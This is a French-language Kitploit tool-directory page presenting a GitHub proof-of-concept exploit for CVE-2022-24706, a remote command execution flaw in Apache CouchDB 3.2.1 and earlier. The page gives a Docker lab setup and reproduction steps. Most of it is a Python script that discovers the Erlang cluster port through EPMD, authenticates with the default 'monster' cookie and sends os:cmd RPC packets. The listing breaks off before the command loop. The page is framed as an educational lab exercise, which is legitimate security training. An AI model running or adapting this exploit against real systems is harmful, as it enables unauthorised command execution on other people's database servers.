Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/junghyeonkum/cve-2022-24706
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceSécurité des Bases de Données
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Exploit de preuve de concept pour CVE-2022-24706 ciblant Apache CouchDB 3.2.1 et versions antérieures. Démontre l'exécution de commandes à distance via le protocole de distribution Erlang en utilisant l'authentification par cookie par défaut.

Voir le dépôt
24il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-24706

Contributeurs

  • 39e promotion de l'école WhiteHat, classe 39 Kim Jeonghyeon(@junghyeonkum)

Vulnérabilité d'exécution de commande à distance via la distribution Erlang de CouchDB (CVE-2022-24706)

Résumé

Apache CouchDB est une base de données NoSQL orientée document open source implémentée en Erlang.

Étant développé en Erlang, Apache CouchDB prend en charge nativement les fonctionnalités de calcul distribué (clustering). Les nœuds du cluster communiquent entre eux via le protocole de distribution Erlang/OTP, lequel permet d'exécuter des commandes du système d'exploitation avec les privilèges de l'utilisateur qui exécute CouchDB.

Pour exécuter des commandes système, il est nécessaire de connaître la chaîne d'authentification (secret phrase) appelée Cookie dans Erlang. Dans les versions de CouchDB 3.2.1 et antérieures, la valeur par défaut du Cookie lors de l'installation est monster. Un attaquant qui connaît cette valeur peut contourner l'authentification et exécuter des commandes système à distance.

Références :

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Prérequis

Pour réaliser cet exercice, vous avez besoin de l'environnement suivant :

  • Docker et Docker Compose doivent être installés.
  • Python 3 doit être installé pour exécuter le PoC.

Sous macOS avec puce Apple Silicon (M1/M2/M3), des avertissements concernant la plateforme des images peuvent apparaître. Dans la plupart des cas, Docker Desktop émule automatiquement les images amd64 et les exécute, donc aucune mesure supplémentaire n'est nécessaire. Si le conteneur ne démarre pas correctement, vous pouvez ajouter l'option platform: linux/amd64 au service couchdb dans le fichier docker-compose.yml.

Si Python 3 n'est pas installé, vous pouvez l'installer avec les commandes suivantes :

sudo apt update
sudo apt install -y python3

Configuration de l'environnement

Exécutez la commande suivante pour lancer l'environnement Apache CouchDB 3.2.1 :

docker compose up -d

Une fois le service en cours d'exécution, les trois ports suivants seront ouverts sur l'IP cible :

  • 5984 : interface web d'Apache CouchDB
  • 4369 : Erlang Port Mapper Daemon (EPMD)
  • 9100 : port de communication du cluster et de gestion d'exécution (les commandes sont exécutées via ce port)

Dans un environnement réel, le port de l'interface web (5984) et celui du service EPMD (4369) sont fixes, mais le port de communication du cluster peut changer à chaque exécution. Par conséquent, vous pouvez accéder au service EPMD pour connaître le numéro de port de communication du cluster actuellement utilisé.

Si Apache CouchDB fonctionne correctement, les informations de version sont disponibles à l'adresse http://target-ip:5984.

Condition de vulnérabilité

Cette vulnérabilité se produit lorsque les conditions suivantes sont remplies :

  • Apache CouchDB version 3.2.1 ou antérieure est en cours d'exécution.
  • La fonctionnalité de distribution Erlang est activée.
  • Le Cookie Erlang est défini sur la valeur par défaut (monster).
  • Le service de distribution Erlang (EPMD) est accessible.

Procédure de reproduction

  1. Exécutez la commande suivante pour lancer l'environnement vulnérable d'Apache CouchDB :
docker compose up -d
  1. Une fois le service EPMD (4369) en cours d'exécution, lancez le PoC avec la commande suivante :
python3 poc.py target-ip 4369
  1. Le PoC interroge le service EPMD pour obtenir le numéro de port de communication du cluster actuellement utilisé, puis s'authentifie via le protocole de distribution Erlang avec le Cookie par défaut (monster).

  2. Une fois l'authentification réussie, vous pouvez saisir n'importe quelle commande système pour vérifier l'exécution de commande à distance.

Code du PoC

#!/usr/local/bin/python3

# Bibliothèque standard Python
import socket
from hashlib import md5
import struct
import sys
import re
import time

# Serveur cible et configuration de base
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # Port EPMD par défaut
COOKIE = "monster" # Cookie Erlang par défaut de CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Paquet de demande de liste des nœuds Erlang

# Messages d'authentification et de contrôle Erlang
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# Convertit la commande saisie par l'utilisateur en paquet RPC Erlang
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Exécution de commande à distance via le protocole de distribution Erlang.\n")

# Connexion au serveur EPMD pour obtenir les informations du nœud Erlang
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Impossible de se connecter à EPMD : %s\n fin du programme" % msg)
    sys.exit(1)

# Demande de la liste des nœuds Erlang
epm_socket.send(EPM_NAME_CMD)

# Si la réponse est correcte, récupère les informations du nœud
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choix = 1
        print("Nœud trouvé : " + data[0])
    else:
        print("\nPlusieurs nœuds trouvés, choisissez lequel utiliser :")
        numero_ligne = 0
        for ligne in data:
            numero_ligne += 1
            print(" %d) %s" %(numero_ligne, ligne))
        choix = int(input("\n> "))

    ERLNAG_PORT = int(re.search(r"\d+$",data[choix - 1])[0])
else:
    print("Erreur lors de la demande de liste des nœuds, arrêt")
    sys.exit(1)
epm_socket.close()

# Connexion au nœud Erlang
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Impossible de se connecter au serveur Erlang : %s\n fin du programme" % msg)
    sys.exit(1)

# Réception de la valeur du challenge
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]

# Génération des informations d'authentification à l'aide de la valeur du challenge
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# Envoi de la demande d'authentification
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# Vérification du succès de l'authentification
if len(CHALLENGE_RESPONSE) == 0:
    print("Échec de l'authentification, arrêt")
    sys.exit(1)

print("Authentification réussie")
print("Saisissez une commande :\n")

data_size = 0
Télécharger l’outil